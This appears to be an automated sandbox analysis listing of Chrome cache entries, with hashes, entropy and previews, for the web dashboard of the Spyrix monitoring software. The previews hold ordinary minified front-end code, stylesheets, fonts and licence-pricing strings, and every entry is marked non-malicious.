SSDEEP:	24:HIA6XKsUFFQtk4BQs1uub9T5zvEw+8iYshFQa:qXdcmVlhxz+5YsTQa
MD5:	2DE77C15D2E4B26D02874D1C6A5D78D1
SHA1:	B80B2BB3553C9C417B569CCF7E7C8CED660AE735
SHA-256:	9D95D9183E874ACA32283807A0464CA9C4BC267FAEA799E27A3C23D2CD7ACA61
SHA-512:	F4007CF227253D9548EDE6D646C3757BD8F8AAF316030E271E8A7B3AD730F8CED4991A3C96E850944313E2BFA94BF13400715AC9EB93ACFAD37353FE4217C7A0
Malicious:	false
Reputation:	unknown
Preview:	import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters")}const f=e=>{const{t}=n;return e.length<6?t("The field must contain at least 6 characters"):""},h=e=>{const{t}=n;return/^([+]\|\d)([0-9])+$/.test(e)?"":t("There should only be numbers")},p=e=>{const{t}=n;return e?"":t("Field cannot by empty")};function F(){const e=i({}),t={required:p,maxLen:m,email:d,minLen6:f,phone:h},u=(s,o,l)=>{let r=!1;l.forEach(a=>{if(r)return;const c=t[a](o);if(c){e.value[s]=c,r=!0;return}else e.value[s]=""})};return{errors:e,validate:u,validateField:(s,o,l)=>{const r="mockedFieldName";u(r,s,o);const a=e.value[r];return a?(l(a),!1):!0}}}export{F as u};.

Chrome Cache Entry: 654

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 61324
Category:	downloaded
Size (bytes):	14777
Entropy (8bit):	7.985311124175744
Encrypted:	false
SSDEEP:	384:wRjB6v/xeGOgP84779+VKmX1nGMJpjHyC:wRlexAOxmX1nGMDHyC
MD5:	12D71E76550BE9BFDFDAB148795FFFD0
SHA1:	0E49EEE8873E6CD22A04557B47A272E424379186
SHA-256:	35DC7260DC2119B3DE608859D5DC0179652C72FB426DE265FF178A19DBD65297
SHA-512:	E8D46F38B669136DC1E233379500CF079DFCA8EA6D09F46F6B3C841E7539AB5F55080507A27C05FA182E1332CC2F3A98F4A1BAB4DF8417FE129B535013DB736A
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css
Preview:	...........}{s#.....).....b..R...Y.o..{o.S..."-..TK=:.g._&2.(.H...w.q..T.J$.D..E..w........6.\|q...vs..yQ..O.....o.7...z.+f.....px.../.M.....f.....:./..r..we..>......:.Cu...w._.y>...E...E....w...f....g.............<..ju.<...Nk..g...u5.P.yR......l..?..#)..v]f..p.X,.. ..8F..h3=.6...U.....a.{y..W..v3.U....P]o?T..z.4[...\....v.}.Y.]ow.w....x.@.....I....j.....Y.8T^..\|.]?.....a.^W....iU...n....;.\|..=......EFo.}.V..m5[.6.$.v...js..v...jw;./z....\...}y.._.z.....u..`&....m....f...U.......".H...pU.I.....E.u.....'m..]Y.2...~6.....a.^......K....=<.?.D.L)}.H.6..qK.d.YV.....rX.&d.zu...C`..Y..........%.{9l_R.dN...../5......vw.7.+.Y.)....vS]g..L?....a.X,..`....2zJ].....:{.,a...X.>B$.a.$u]h.{....+..{t.=U..!.t......\|{8l..YU!o...o..(5.b..a..3.C.=...+.l.\|....A.s...\|..$..$)..g..=.h:\l..}.q...K.}..!..)....}.....k..A...~L>}.1JQ...g..b..j....KD.wU.. j...;,.....u...Y....3U..=.R..l.....T..QBGt........... ..O._...6..Q.#.3.....'...EO.....1..,.pD...p.p.

Chrome Cache Entry: 655

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (731)
Category:	dropped
Size (bytes):	733
Entropy (8bit):	5.333043890106064
Encrypted:	false
SSDEEP:	12:rVEeOb9zMiNkI9dEkAS4c/EoanGYWZ1ryZ1dqdlZdzSLWPIoBsUNdbHBG9:ruj9zhNkyEW3MoaGh+nodZzSLWPbN18
MD5:	C20426806474BC5F7DF377451D78F70C
SHA1:	30B675794EC6F2576F7C27EBE24D8F5AC647E417
SHA-256:	188D59F20F833D8FB65E71959214B05CD41E5B1312AEA55196948ED28AAFA2BD
SHA-512:	E7648E2F98E81D4839540A222071CF7954C117004A4F502758556546B2C03AC62200616EF02B40C49D647445FC6B00902B2B4F0275BF4368DE8BEB7B529F7CA7
Malicious:	false
Reputation:	unknown
Preview:	import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function k(a,e){const{pushQueries:s,queryEmail:n}=u();l(()=>{const t=localStorage.getItem(i.EMAIL);t&&(s({email:t}),e\|\|a(t))}),m(n,t=>{typeof t=="string"&&!e&&a(t)})}const B=o({__name:"AuthTemplate",setup(a){return(e,s)=>(r(),_("div",{class:f([c(h).authTemplate])},[p(e.$slots,"default")],2))}}),C=o({__name:"Copyright",setup(a){const{t:e}=g();return(s,n)=>(r(),d(E,{text:`${c(e)(". Online Monitoring")} ${new Date().getFullYear()}`},null,8,["text"]))}});export{C as _,B as a,k as u};.

Chrome Cache Entry: 656

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.787752985539471
Encrypted:	false
SSDEEP:	3:InjZjBJx0rgBBMrDwR:8ZVJWcB6rDc
MD5:	56AFDCA4F7D312FFEFEA0C038677BD58
SHA1:	7D08C415DB9B84C286B1CBD1D89AE7362B037D01
SHA-256:	4C4E4A287646CC906E15C8946CFF23C53883081211D2761753BA3280F6738833
SHA-512:	6758DDBB0C9C5CEECB22E1FB13918CBAB7A39531D609FF7E1FAC052BCC5234855B6815D08F2D01577F5D057EF8B991A616CF350B232F92457AC4BF5767FE5B15
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnvDa0HuqPA0hIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	Ci0KBw2RYZVOGgAKIg01hlQcGgQITBgCKhUIClIRCgdAIS4kKiNfEAEY/////w8=

Chrome Cache Entry: 657

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 44112, version 1.0
Category:	downloaded
Size (bytes):	44112
Entropy (8bit):	7.9948954741957445
Encrypted:	true
SSDEEP:	768:qGOGI3UCq6sLa8v1/S4xmK/+/PyZV36e2TQxLWV0Bu+ApsjGflc/PMMY:qGO3q6ga8v15xmK/SP+3lJWqB+psKNKK
MD5:	1C42A31D86C3E555177BCEBFDF350242
SHA1:	036274A3A1786AE81BFAFECE5F49927103244AC2
SHA-256:	73DCAA510E814FF8CF4672A984FA934A4385253A50507E2390A5150A40A5971C
SHA-512:	7091CEB7B24B4F84D54958BB7C3E10AA0E34E73465977C4CE09D08F75DCDA3BE2989CDB95EF38282E4A62863B3DA1B4B8CEC0E316508A68551C80952DBABE171
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Nunito-Regular-73dcaa51.woff2
Preview:	wOF2.......P......................................2...r....`?STATH.......4..A.....6.$..8. ..^..5..[.....C5....t..d_.:.......n...u=iX.7Fn..(..........$....3.....)..2..0.....#e2`4....L.....d8.y....\....D.....0X..~f.-...\|.`...2.i.~L.N..".....Gwc%`&Oa.:..>.@z.........^...s..y..f^N6.......+NN.....N#.c....;"j..A]....."}.?h.b...R=r...p..X.{."A...8.9....T.....`I..P..%...,k...L..MO.wf.%....{....S....F....wbh...U9SeE...QY.&!....v=#s.~.......v$.N...1..+\|k.......D.....R.k._dU......#..lO.S...`...x~.w....o.i..v.....nC.."+...c?.3w...i...84:.RI...B#t......Z..b.....E.7.....G.....AT..X`......9c.9.g....:@s....cT..F..........c.01.h...Gb..?...&Z.'y.{.4....J.BV.....~o...". ...?..![...d....^+.......o.B.#J0.<.h.g..4...M6R.......Tb......%..x4J4...6...9.H...'b:b.....~..._.{..)]J:....t.l.m......n..,..z....W..... U.....R.W..y8...A..T...TT.>....\|.ql.u2.../1.=".D.....u.Z].p)..%.0..`..X...........".............n..T .>..'s\.c,..\...W..yx.......QR..M..lB...o....%.m.

Chrome Cache Entry: 658

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43608, version 1.0
Category:	downloaded
Size (bytes):	43608
Entropy (8bit):	7.995039270032619
Encrypted:	true
SSDEEP:	768:Tv2XSI0CZoHJfWaxMlNF3l9dC1zvscnlQZdBrREpeKuj44fWBJS:TuXS3SoHJ+plNF345vfnGddO+TW6
MD5:	636F1727E619C4EFEAFE604116A79EC9
SHA1:	B99AE578006A654526DE3F672515C22FDE9992D9
SHA-256:	765BFFF42FA8FA2622D8E561F0DB976E1411681041B7327102D96DA6711F0C0E
SHA-512:	0B57204C24675562B30C104EE961ACF920A0B7B207008B7522F97D9B077405E350E4AD8F715230D548350686A9243692896F3EECB38C4EECC9D01B5471FFBDF0
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Nunito-Bold-765bfff4.woff2
Preview:	wOF2.......X.......H..............................2........`?STATD.......@..r.....6.$..8. ..F..5..[.....v..-. -.t...mji...\`.!..{v..qb...X.Y-0v0...'........Q..1....$I@.PQPV...t..D..3.b..$,...V5.;.^...b..{Ku.;.)k.Y.r.....TJ.{d.......{d...7.2..G.[..:...-4P./a......S.....f...x.Z.#n...l..S....f....D.).-.+ ..;.H......1..q....bS.....[...8......3>5..U3..n.~...KL.\o.`..UgSY......j..q..l..J.......^w.F~<........V\e.a.9...o..b%%.K..-y..!..a I.w.A...J.4....[7.3.E....}.Q=....;:...z_...>.dr{.#b.-...G.[.{Ih!...$! .......@.....,.....6.}l`C.A...A......zhj..?...0...2UD7.......{...4c6...D1...[O..Z......b.c.`Q.H..1..EE..jDO......;..<.3.t......G...D.1..o9.Ke..kl.q..........@..??....v..2..rfAJ...2HWs....F..(...g..]..].`r.R..9$H....!.C\|........g'......x.........x....$B!..M...E.D"..M.....o.i.........=.........&........U-...{IN........ ..Q..w..E...H..U....j!..u....s....K.C..K........j..".!.,....`...&p.3(..b..L].-...`U.OzQ.J..!...].-a..8.I.8..../..).....

Chrome Cache Entry: 659

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	129
Entropy (8bit):	4.715705921334956
Encrypted:	false
SSDEEP:	3:lH4Vg0CwERKAAIx/fQxAUEm5JZHJPpRKrUrKzAdgbDn:l30Cw4MYoxJfHhpAArKzAaX
MD5:	738B618755592A2FB11C090833DAA6FF
SHA1:	985ED99CF7A1BED24569735A33B757531D027AE3
SHA-256:	BA59C56764D29D3B0C21BFB12D2F7AE92E745420F214B3B3DC52D31712301E39
SHA-512:	5CADFC6D7594CFD29CCF8539F35FDFC6B5B39525235DD38F1CBE0A49D0FB67D417AFBA1C2B0ACCEBE7C6F06C5FC9951CC167BB37F25F05D9F8E3313E5C27D42C
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate.module-c837805f.js
Preview:	const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};.

Chrome Cache Entry: 660

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 27077
Category:	dropped
Size (bytes):	7285
Entropy (8bit):	7.964038684015041
Encrypted:	false
SSDEEP:	192:TvxMGwo9hFNrNNXizl2Bcj94aps9y5aW2CHkz92mDXnjrVo75OKc:7aboh57AL94ly592CmFXidJc
MD5:	F687E94F4D455BA119D2187B14A884AE
SHA1:	5206BDA3E1959F6A7369D33171F9AF76F92C21E2
SHA-256:	5D18275C9AC22E917CEA324C250F54D9F6A1899BAB0EFBDF3739A6AB181BE5A3
SHA-512:	1EA801D2E9BD5C4A3FAD19776270D971A159B28B52AF0369D208D6FFC0A5F81BF0CD8B8CA2379B1C75E366694DBE4B1ED1C7CBB78137F61829A8AC38B54D93CA
Malicious:	false
Reputation:	unknown
Preview:	............n.V...Sp..v.ka....!..$.;..%.......6...,.J....'....{I.".K.v:."......fM..Iq..\....S...O..k......../....}...\|......O]}.>.O.6u.a...GK..UE.3..usF..az.m...0.]...&o.[../..Y.L...i...0..U...0....M[.RwBy...8...Orq.>+..H..o:....o.f}t.>lRw...).O....J.3?o.f..jrfu.0mX.K:m....U_..zN.M.([f.#{PWeM.w.\,...V..^...m.q..6u..../O..w..Y...{x.~QVV..w}.}x5\|..q........v..a...J...H...I...~..o..5....._.......G.'.{.=k.F......>...\|..}..T....6....e..TX..K......,g[.S.r..l..\|."..O...-...G...i....`.XhN.....sIb..u...2k..K.i.WW....T.u.7,`.w..R.g.H.\Y.i.G....f.Z...mE...\.}...C>..ZgW.,..E....:gSR...N....,.8.).YV...nU..l;.M."18(...y...d..n.lV..[n.:............p.E[$..:..u.(.y..6.K.ErvR... Yy.....v..f.%..m%I.,....~..]z..W.l.$.E.Y3.L..@.J.:O.4....'S5..Kj....@W..,...N^..}.n....DLz..l....v...J3JJ..o.Q...^R8mY....&..[..<s..7a.Y.<c.r7.xV.N/.WE2...Vo$ci..Z..!../.b_.&.-N.en..7.\|s...#.<.3.\....?.nY..;OVy.gxa....6....zy.t.j..;..V.K.?....m..o...X6.CI

Chrome Cache Entry: 661

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	4.87560060165103
Encrypted:	false
SSDEEP:	3:lHkiDkYHsh9J55ZrKAAdGaOiDpEqxALR4QHEXxB+N:lEi4YHGrMdGaOiaqxWqgoB0
MD5:	62BC1BD7189B2B28A9985E0C3661BC91
SHA1:	33AC2D40B9C973C0D040E08AFF37F072D2C5E136
SHA-256:	98A603E044A3472D373EF9C4F3A563E7596FF8F9C43620409EE5E74FBF45CC28
SHA-512:	47B95930336340314410E9A9D30C71E74E6191E3C64FD39DA973B561BABCD987647B40B7B2587B047A763F5D765D6CD4D83EE037CC63F02EA3525D692AAA281D
Malicious:	false
Reputation:	unknown
Preview:	const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};.

Chrome Cache Entry: 662

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (628)
Category:	downloaded
Size (bytes):	629
Entropy (8bit):	5.408519312247252
Encrypted:	false
SSDEEP:	12:M5WsR75UQOHXu8jeAYJMngYRde4HL1DBVTUojE0uymy:M5/p99JMngYZHZDBbfuymy
MD5:	7CB321EE79F0127E78FAD017F97285AA
SHA1:	5921A3AFA7B59C1A69F214A592F5290A9AA5A080
SHA-256:	2BF0E6089F8E9819E3CAA315D3C024148EE6D53411450118363668A0B9F2F6D5
SHA-512:	E1994D07BDF15F40ACB2E1F35A3738BF24A909C6FEF2D0513D2FBBD0A0DC9A434C96AE9699C8497E0EECBD1229CC066B11A5B6413F8DF608B222FE07A61D6BC9
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button.module-6d4e91b8.js
Preview:	const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",D={button:e,loading:o,disabled:d,"bordered-primary":"Yx2mIjN5",borderedPrimary:r,"bordered-filled":"GQTXnPVh",borderedFilled:n,"primary-filled":"Spt6Oo9A",primaryFilled:s,"bordered-secondary":"RmDlDtP1",borderedSecondary:c,default:"JCiXG-DG",success:t,clear:l,xs:i,sm:a,tn:m,md:b,lg:y,xl:p,inline:h,circle:u,shadow:x,"more-rounded":"eIH6eshW",moreRounded:P};export{D as c};.

Chrome Cache Entry: 663

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1097)
Category:	downloaded
Size (bytes):	1098
Entropy (8bit):	4.801883004252557
Encrypted:	false
SSDEEP:	24:pIDlt6Rqz5Rqz9cujSPhQsF+a2cG2DB/pzOpzDErt7:d0EY/BOBDG
MD5:	01CEB283B00E59B25F2283787D5FBCFC
SHA1:	12503D8DC4A1904F39A2BE105CD2BEF151464B80
SHA-256:	EFAC77214359588EE656CE42F52A545423480B5C194894B4B3237DFA27C0BF4B
SHA-512:	533636F230CE0236E8E248CB0A26593DEBBD6B88DB6E054822E831203EE15EDE59A00D01FCE8FE422535E826F6F4B865599FCB9E7FF6EF0593B0B2E736B0B273
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-5393c481.js
Preview:	const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please purchase a license to access your data","Buy 1 PC for 12 months for $":"Buy 1 PC for 12 months for $","DISCOUNT {0}":"DISCOUNT {0}","Computers count":"Computers count","101 and more - ":"101 and more - ","21-100 PC - ":"21-100 PC - ","1PC per month":"1PC per month",convenient:o,"3 Months":"3 Months","6 Months":"6 Months","12 Months":"12 Months","24 Months":"24 Months","1PC for 12 Months":"1PC for 12 Months","1PC for 12 Months +":"1PC for 12 Months +","Do you have a discount coupon?":"Do you have a discount coupon?","Discount coupon":"Discount coupon","Coupon is applied":"Coupon is applied","Apply coupon":"Apply coupon","Includes Screen recording, Webcam recording, Face recognition, Call recording":"Includes Screen recording, Webcam rec

Chrome Cache Entry: 664

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	638
Entropy (8bit):	4.939194107933857
Encrypted:	false
SSDEEP:	12:hYKC/JI56MIY5Jo4PFcJt1lFqGBfqsz6/mvVg6D6TYBYAlbBmdDuzRw/vGb:hY//J46Yo8stEoz+sVg6DSYnlp92vM
MD5:	1B3C31F1365D50685671B178B782862B
SHA1:	7C735B95DB567AFD726F37B4EBD3420A903A7B90
SHA-256:	81873B843E34209B269790E83D4AD3A229369F69B419AB61D25759763BEAABA6
SHA-512:	42D2654F6E834D0E8D54036A5B3595167685908CC63B34FBE95435FE0547664C6C4AD44D82F62EBBEE95C9171EA7756E96AC2A09B3734B0BE6764F45642D53F6
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/
Preview:	<!DOCTYPE html>.<html lang="en">..<head>. <meta charset="UTF-8" />. <link. rel="icon". href="/favicon.ico". />. <meta. name="viewport". content="width=device-width, initial-scale=1.0". />. <meta. name="robots". content="noindex". />. <title>Dashboard</title>. <script type="module" crossorigin src="https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js"></script>. <link rel="stylesheet" href="https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css">.</head>..<body>. <div id="app"></div>. <script>. document.write('<script src="/cdn.js"><\/script>');. </script>. .</body>..</html>

Chrome Cache Entry: 665

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	987
Entropy (8bit):	5.179649768973068
Encrypted:	false
SSDEEP:	24:m2kqUquqB3Wbp0V+uzU+xWkjPE/mB/sXZsB:m8UqiDMWh2sXZc
MD5:	27EC29286E721D5B6E14B6D719F1E743
SHA1:	5B1952EB5702AE263C64ECAD8816CE0E723B2D50
SHA-256:	DFD3C3DFEFCEA9215799DAD6F6E71074FA7E4660EAD660B85F4E6EE243EA55DD
SHA-512:	82F80ADA35372D6F0174F177E0A87843D6E7A2B1442AF44F908E75CA91A52C4E1B2D55EAFB08494C025996076148247A7A1DFC8BE2D249D0B1566209F68B050B
Malicious:	false
Reputation:	unknown
Preview:	.class Cdn {. _maxCounter = 30;. _interval = null;. _counter = 0;.. init() {. // document.cookie = 'cdn-off=0'; //...... ... .... ............ . .. .......... .. ....... this._interval = setInterval(this._checkDom.bind(this), 1000);. }.. _checkDom() {. this._counter += 1;.. const element = document.querySelector('.progress-loader');.. if (!!element && !!this._interval) {. clearInterval(this._interval);. }.. if (this._counter >= this._maxCounter && !!this._interval) {. clearInterval(this._interval);.. if (!element) {. this._disableCDN();. }. }. }.. _disableCDN() {. document.cookie = 'cdn-off=30';. location.reload();. }.. _enableCDN() {. document.cookie = 'cdn-off=0';. }.}..const cdn = new Cdn();.cdn.init();..// ..... ......... .... ...... .... ........// window.addEventListener('unload', () => {.// cdn._enableCDN();.// });

Chrome Cache Entry: 666

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2720)
Category:	downloaded
Size (bytes):	2721
Entropy (8bit):	5.2947178448950725
Encrypted:	false
SSDEEP:	48:qtlh2sBoHzp5G7bGdM/mEAs882htu735/oj0I9pbXPDU8E:qt6PG7b4M/xAJ8ayApbrUn
MD5:	817F0F4CD1E827C030E17392C76A17B9
SHA1:	278B4C780B9111A0211C26E6A8499D6795DD03A1
SHA-256:	86D79A8A639BC01A5E86E96F4010D7DA2375DCD8CEAD0C3F7FB8E8DC887EE97A
SHA-512:	6523FF0171037537B247F98D12736724B87DD9185618356AD01285E0764B517B89B1F99C2A194DB8319DDD0B999372FFD5984E119CBEFC01399FAA01FDF114A3
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ConfirmPhoneModal-86d79a8a.css
Preview:	.FRQJSw27{display:flex;flex-direction:column;flex:1;justify-content:center;max-width:350px;width:100%}@media screen and (max-width: 480px){.FRQJSw27{max-width:95%;padding:15px}}.NrHTQ2JN{border-radius:10px;padding:30px;background:#fff;box-shadow:var(--shadow)}.Ht9A72w8{display:flex;justify-content:space-between;position:relative;z-index:var(--z-main)}.Ht9A72w8:after{content:"";position:absolute;border:1px solid var(--app-text-inverse);width:calc(100% - 120px);bottom:10px;left:50%;transform:translate(-50%);z-index:30}.-IjymTpC{display:flex;flex-direction:column;align-items:center;width:100px;justify-content:center}.tw6CEYln{display:flex;text-align:center;margin-bottom:10px}.IYlM96Nq{margin-top:auto;width:21px;height:21px;border-radius:50%;background-color:transparent;z-index:var(--z-main);border:1px solid var(--app-text-inverse)}.-FtbW-m2{background-color:var(--primary);border-color:var(--primary)}.VAQD352X{border-radius:10px 0 0 10px;background-color:var(--sign-up-bg);background-image:

Chrome Cache Entry: 667

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 184 x 184, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3029
Entropy (8bit):	7.775466271259918
Encrypted:	false
SSDEEP:	48:trqMHw1fogNoolwWy7d/fB/yKv8EwIgr4/0aMsVYU39z9p39AWToe8JhKtbmrLNV:tGAYfTlYH/Bv8dZc/04VYA9n3eWb8Ho6
MD5:	175BFAD4569B48687A15D43A4E9BB617
SHA1:	E28A5AC7818D8ACEDA0D2DE2C20DD922923C3BA5
SHA-256:	F97E3C0058E3352D1F3789F40CB76DBF2C6C085AFA7535BD38F4970F884B2A45
SHA-512:	658CC310C2A8FDBB32D48487CC7373B7D559AE55CB566C3669724F71ED9D86108F63E7A42B191A2A70CBCA47960E2591F7353261DCF5F0556AEDF1AB9F2D1501
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/favicon.ico
Preview:	.PNG........IHDR.............P3&.....gAMA......a.....pHYs..!7..!7.3X.z....tEXtSoftware.paint.net 4.1.6.N.....SIDATx^..q.F....C....C..NeI....@.@.`......C....n......nw.3..y_.W.jqw...1..w........uY(.e.7.......-.....2.e.<.V....GX....y...Z.pZ.2o.aQ+.Nk[..#,je.im.y.E..8.m.7.......-.....2.e.<.V....GX.........OtN....@.y...Z].O.yG...e....-.y.E..8....0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.x0...O.........?=......+..40..H..sZ..6.........0.A..9..p..\|..\R.~.o...<.i]...U..d.....@nM..;...0..H;....NC.0.x..;...-.....v..P-.....2....C.0.x.R..B...[..<.2.K..6hlW-.....A;...E.....e...-..3[..<0.....W9+..a.'!m.....:[..O.L-..>13.0.8Y...0...".0.8y..-..NT...0...H-..N...0...zma.6..?..GX...Ao-..2o.aQ+.>...07-.....2...a..-.....2.1.}.k.S..#,je.cqmaz...y.E..x\.~.).....z..\|..........y...Z.._..!y.."oG.9g.0e.<..=...,W..].'.Z.2o.aQ........E....GX.Z#.WedH.....-L.7....f.7.....Z.2o.aQk..S..la.bO.S..

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1391)
Category:	downloaded
Size (bytes):	1392
Entropy (8bit):	5.443005642997937
Encrypted:	false
SSDEEP:	24:B/6XhnpFffC3/V2iWX4qL2zzp0iRFjY6GoqRrMj5q3F0TapE7gJSvCGRBCtdSTii:BiXNzffkgiWXb2PDjPGXBWTmzJQ8ur/
MD5:	370BC65CD3A997F3010006B7E0739D12
SHA1:	5F9E96CC563F61F21B9C51EDA58739BF67B53940
SHA-256:	634452B54F1A478056C7549C96D3343103E69FF3890D9735A59B061201CB7D48
SHA-512:	AC692658620E0D019A2CEC8D1197A8F87EACE856E5796AD248A00586AC6833B35A244465609EA341062133C65356F08534610F54B46C855CE45C6099AFCF857D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Modal.module-d62c47b8.js
Preview:	import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e.modalsQueue.length}},actions:{updateModalsQueue(e){if(e.priority>1e3\|\|e.priority<0)throw new Error("Priority should be less than 1001 and positive");this.modalsQueue.push(e);const o=r(this.modalsQueue,"decrease","priority");this.modalsQueue=[...o]},hideModal(e){this.modalsQueue=this.modalsQueue.filter(o=>o.id!==e)},clearQueue(){this.modalsQueue=[]}}}),c="_5kL4TPdD",l="eoPx-XfL",d="-uFEEehb",u="fMo3ZVEl",i="_6sPwaxyC",m="LL0-2zyj",L="_8u3lj-7P",f="OCt9ytvK",v="NhW0oA55",h="_0yU2sS3O",T="_2Qha-LQ3",Q="_39-eKlaL",E="_1HrmGkwL",_="B5v0MvTK",p="Kuf5IxtV",F={modal:c,"modal-hidden":"eoPx-XfL",modalHidden:l,backdrop:d,"modal-ar":"fMo3ZVEl",modalAr:u,content:i,"close-button":"LL0-2zyj",closeButton:m,"close-button-icon":"_8u3lj-7P",closeButtonI

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (5161)
Category:	downloaded
Size (bytes):	5163
Entropy (8bit):	5.370031062210679
Encrypted:	false
SSDEEP:	96:465cseIJOXqXSC4fUB0R7np5n9Tpivy3rhUQZ0/t/wk5wRwKvQH8n/:4O1XSC4Y0xnpt9tEy3SQZ8Bwk5CvQH8/
MD5:	E6BC7C31B43816CEFAF80A03CD93DB22
SHA1:	47C88ACD158A35C26EE7457D3521F0C93C29FB6E
SHA-256:	C5545CD432E5A08437298FC0F38EFA01E077C49C97EE7B64CD6AE3AA24A9DF36
SHA-512:	3F8276ACBF8955CFBC4D5B0E067362AEEA6C56B00600666EDEA3DF0CF5480DD46DAC884FBBF9F41971F842DBC374B7414A0A0A715377668F175AAA5293B9760D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-1178777c.js
Preview:	import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as B}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{u as Ft,_ as It,a as kt}from"./Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js";import"./Button.module-6d4e91b8.js";import"./ButtonTemplate.module-c837805f.js";import"./ButtonText.module-c769b9ae.js";import"./Modal.module-d62c47b8.js";import{_ as S}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";import{_ as L}from"./ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js";import{u as Ct}from"./useValidation-954c07e6.js";import{_ as q}from"./Input.vue_vue_type_script_setup_true_lang-31858815.js";import"./loop-c45f0f1e.js";const Mt=F({__name:"AuthCard",setup(o){return(a,v)=>(I(),D("div"

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	271547
Entropy (8bit):	5.5719382745066515
Encrypted:	false
